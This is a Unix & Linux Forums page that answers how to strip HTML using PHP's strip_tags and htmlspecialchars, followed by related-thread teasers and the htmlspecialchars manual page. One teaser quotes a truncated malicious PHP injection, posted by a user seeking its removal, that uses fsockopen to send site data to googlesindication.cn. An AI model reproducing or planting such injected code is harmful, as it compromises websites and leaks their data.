Sponsored Content
Top Forums UNIX for Beginners Questions & Answers How to remove unused html codes from the file using UNIX? Post 303037665 by Neo on Friday 9th of August 2019 05:59:54 AM
Old 08-09-2019
There are specific PHP commands which will transform HTML files and strip out certain HTML entities, for example:

Code:
<?php
echo strip_tags("Hello <b>world!</b>");
?>

See also:

Code:
strip_tags ( string $str [, string $allowable_tags ] ) : string

Reference:

PHP: strip_tags - Manual

However, you might also find joy with

Code:
htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] ) : string

... depending on your exact requirements:

PHP: htmlspecialchars - Manual

Or even:

PHP: htmlentities - Manual

Please keep in mind that "web-centric" programming languages like PHP and others have a rich set of commands built to transform and process HTML files; and most web developers, including me, use these tools to make the transformation(s) you are considering.

PHP runs "just fine" from the "UNIX" or "Linux" command line in most modern operating systems.

But, as Don mentioned, without knowing the details of your OS, we are just shooting in the dark.
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

delete the unused file

Hi All, Can you please let me know how to delete any files that have not been accessed in the past 28 days in a directory. Thanks, Arun (3 Replies)
Discussion started by: arunkumar_mca
3 Replies

2. Linux

How to remove only html tags inside a file?

Hi All, I have following example file i want to remove all html tags only, Input File: <html> <head> <title>Software Solutions Inc., </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body bgcolor=white leftmargin="0" topmargin="0"... (2 Replies)
Discussion started by: btech_raju
2 Replies

3. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

4. Programming

What Unix do with unused shared memory?

Hello, When creating shared memory in C, should be remove shared memory with shmctl function when don't need it. If it didn't remove, occupied shared memory stay and remain. If we create shared memory repeatedly without removing unusable shared memory, /dev/shm will full. Does Unix or... (1 Reply)
Discussion started by: pronetin
1 Replies

5. Shell Programming and Scripting

Remove external urls from .html file

Hi everyone. I have an html file with lines like so: link href="localFolder/..."> link href="htp://..."> img src="localFolder/..."> img src="htp://..."> I want to remove the links with http in the href and imgs with http in its src. I'm having trouble removing them because there... (4 Replies)
Discussion started by: CowCow339
4 Replies

6. UNIX for Advanced & Expert Users

Help to get file from windows to Unix via HTML

Dear, I have a requirement as below: I need an exe or bat file to facilitate multiple end users to upload their files (csv or xls) from windows environment to Unix server. Any front end like html would also be fine, I can develop a simple HTML script with browse button but not sure on... (4 Replies)
Discussion started by: Imran_Chennai
4 Replies

7. Shell Programming and Scripting

Removal of HTML ASCII Codes from file

Hi all, I have a file with extended ASCII codes in the description which needs to be removed. List of extended ascii codes "Œ", "œ", "Š", "š", "Ÿ", "ƒ", "-", "-", "‘", "'", "‚", "“", "”", "„","†", "‡", "•", "...", "‰", "€", "™" Sample data: Test Details-HAVE BEEN PUBLISHED... (1 Reply)
Discussion started by: btt3165
1 Replies

8. Shell Programming and Scripting

UNIX Env values in HTML file

Hi, I am sending 'mailx' one file.html from unix, and i want to put the field values from the unix environment.. like. <p><input type="text" name="name" value="Your name" /></p> in thin i want to put value "Your name" as let's say $HOME, can this be possible? If yes..can anyone please... (1 Reply)
Discussion started by: jaiankur
1 Replies

9. Shell Programming and Scripting

HTML Codes for Shell Programs

Hi All, I need to use my script via html web page, already webserv running in my unix box... Please provide me the sample html files or any web site Thanks (2 Replies)
Discussion started by: l_gshankar24
2 Replies

10. Shell Programming and Scripting

How to remove multiline HTML tags from a file?

I am trying to remove a multiline HTML tag and its contents from a few HTML files following the same basic pattern. So far using regex and sed have been unsuccessful. The HTML has a basic structure like this (with the normal HTML stuff around it): <div id="div1"> <div class="div2"> <other... (4 Replies)
Discussion started by: threesixtyfive
4 Replies
HTMLSPECIALCHARS(3)							 1						       HTMLSPECIALCHARS(3)

htmlspecialchars - Convert special characters to HTML entities

SYNOPSIS
string htmlspecialchars (string $string, [int $flags = ENT_COMPAT | ENT_HTML401], [string $encoding = ini_get("default_charset")], [bool $double_encode = true]) DESCRIPTION
Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with these conversions made. If you require all input substrings that have associated named entities to be translated, use htmlentities(3) instead. If the input string passed to this function and the final document share the same character set, this function is sufficient to prepare input for inclusion in most contexts of an HTML document. If, however, the input can represent characters that are not coded in the final document character set and you wish to retain those characters (as numeric or named entities), both this function and htmlentities(3) (which only encodes substrings that have named entity equivalents) may be insufficient. You may have to use mb_encode_numericentity(3) instead. The translations performed are: o '&' (ampersand) becomes '&amp;' o '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set. o "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set. o '<' (less than) becomes '&lt;' o '>' (greater than) becomes '&gt;' PARAMETERS
o $string - The string being converted. o $flags - A bitmask of one or more of the following flags, which specify how to handle quotes, invalid code unit sequences and the used document type. The default is ENT_COMPAT | ENT_HTML401. Available $flags constants +---------------+---------------------------------------------------+ |Constant Name | | | | | | | Description | | | | +---------------+---------------------------------------------------+ | | | | ENT_COMPAT | | | | | | | Will convert double-quotes and leave single- | | | quotes alone. | | | | | | | | ENT_QUOTES | | | | | | | Will convert both double and single quotes. | | | | | | | | ENT_NOQUOTES | | | | | | | Will leave both double and single quotes uncon- | | | verted. | | | | | | | | ENT_IGNORE | | | | | | | Silently discard invalid code unit sequences | | | instead of returning an empty string. Using this | | | flag is discouraged as it may have security | | | implications. | | | | | | | |ENT_SUBSTITUTE | | | | | | | Replace invalid code unit sequences with a Uni- | | | code Replacement Character U+FFFD (UTF-8) or | | | &#FFFD; (otherwise) instead of returning an empty | | | string. | | | | | | | |ENT_DISALLOWED | | | | | | | Replace invalid code points for the given docu- | | | ment type with a Unicode Replacement Character | | | U+FFFD (UTF-8) or &#FFFD; (otherwise) instead of | | | leaving them as is. This may be useful, for | | | instance, to ensure the well-formedness of XML | | | documents with embedded external content. | | | | | | | | ENT_HTML401 | | | | | | | Handle code as HTML 4.01. | | | | | | | | ENT_XML1 | | | | | | | Handle code as XML 1. | | | | | | | | ENT_XHTML | | | | | | | Handle code as XHTML. | | | | | | | | ENT_HTML5 | | | | | | | Handle code as HTML 5. | | | | +---------------+---------------------------------------------------+ o $encoding - An optional argument defining the encoding used when converting characters. If omitted, the default value of the $encoding varies depending on the PHP version in use. In PHP 5.6 and later, the default_charset configuration option is used as the default value. PHP 5.4 and 5.5 will use UTF-8 as the default. Earlier versions of PHP use ISO-8859-1. Although this argument is techni- cally optional, you are highly encouraged to specify the correct value for your code if you are using PHP 5.5 or earlier, or if your default_charset configuration option may be set incorrectly for the given input. For the purposes of this function, the encodings ISO-8859-1, ISO-8859-15, UTF-8, cp866, cp1251, cp1252, and KOI8-R are effectively equivalent, provided the $string itself is valid for the encoding, as the characters affected by htmlspecialchars(3) occupy the same positions in all of these encodings. The following character sets are supported: Supported charsets +------------+--------------------------------------+---+ | Charset | | | | | | | | | Aliases | | | | | | | | Description | | | | | | +------------+--------------------------------------+---+ |ISO-8859-1 | | | | | | | | | ISO8859-1 | | | | | | | | Western European, Latin-1. | | | | | | |ISO-8859-5 | | | | | | | | | ISO8859-5 | | | | | | | | Little used cyrillic charset | | | | (Latin/Cyrillic). | | | | | | |ISO-8859-15 | | | | | | | | | ISO8859-15 | | | | | | | | Western European, Latin-9. Adds the | | | | Euro sign, French and Finnish let- | | | | ters missing in Latin-1 | | | | (ISO-8859-1). | | | | | | | UTF-8 | | | | | | | | | | | | | |T{ | | | | ASCII compatible multi-byte 8-bit | | | | Unicode. | | | | | | | cp866 | | | | | | | | | ibm866, 866 | | | | | | | | DOS-specific Cyrillic charset. | | | | | | | cp1251 | | | | | | | | | Windows-1251, win-1251, 1251 | | | | | | | | Windows-specific Cyrillic charset. | | | | | | | cp1252 | | | | | | | | | Windows-1252, 1252 | | | | | | | | Windows specific charset for West- | | | | ern European. | | | | | | | KOI8-R | | | | | | | | | koi8-ru, koi8r | | | | | | | | Russian. | | | | | | | BIG5 | | | | | | | | | 950 | | | | | | | | Traditional Chinese, mainly used in | | | | Taiwan. | | | | | | | GB2312 | | | | | | | | | 936 | | | | | | | | Simplified Chinese, national stan- | | | | dard character set. | | | | | | |BIG5-HKSCS | | | | | | | | | | | | | |T{ | | | | Big5 with Hong Kong extensions, | | | | Traditional Chinese. | | | | | | | Shift_JIS | | | | | | | | | SJIS, SJIS-win, cp932, 932 | | | | | | | | Japanese | | | | | | | EUC-JP | | | | | | | | | EUCJP, eucJP-win | | | | | | | | Japanese | | | | | | | MacRoman | | | | | | | | | | | | | |T{ | | | | Charset that was used by Mac OS. | | | | | | | | | | | '' | | | | | | | | | | | | | |T{ | | | | An empty string activates detection | | | | from script encoding (Zend multi- | | | | byte), default_charset and current | | | | locale (see nl_langinfo(3) and set- | | | | locale(3)), in this order. Not rec- | | | | ommended. | | | | | | +------------+--------------------------------------+---+ Note Any other character sets are not recognized. The default encoding will be used instead and a warning will be emitted. o $double_encode - When $double_encode is turned off PHP will not encode existing html entities, the default is to convert everything. RETURN VALUES
The converted string. If the input $string contains an invalid code unit sequence within the given $encoding an empty string will be returned, unless either the ENT_IGNORE or ENT_SUBSTITUTE flags are set. CHANGELOG
+--------+---------------------------------------------------+ |Version | | | | | | | Description | | | | +--------+---------------------------------------------------+ | 5.6.0 | | | | | | | The default value for the $encoding parameter | | | was changed to be the value of the | | | default_charset configuration option. | | | | | 5.4.0 | | | | | | | The default value for the $encoding parameter | | | was changed to UTF-8. | | | | | 5.4.0 | | | | | | | The constants ENT_SUBSTITUTE, ENT_DISALLOWED, | | | ENT_HTML401, ENT_XML1, ENT_XHTML and ENT_HTML5 | | | were added. | | | | | 5.3.0 | | | | | | | The constant ENT_IGNORE was added. | | | | | 5.2.3 | | | | | | | The $double_encode parameter was added. | | | | +--------+---------------------------------------------------+ EXAMPLES
Example #1 htmlspecialchars(3) example <?php $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES); echo $new; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt; ?> NOTES
Note Note that this function does not translate anything beyond what is listed above. For full entity translation, see htmlentities(3). SEE ALSO
get_html_translation_table(3), htmlspecialchars_decode(3), strip_tags(3), htmlentities(3), nl2br(3). PHP Documentation Group HTMLSPECIALCHARS(3)
All times are GMT -4. The time now is 07:42 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy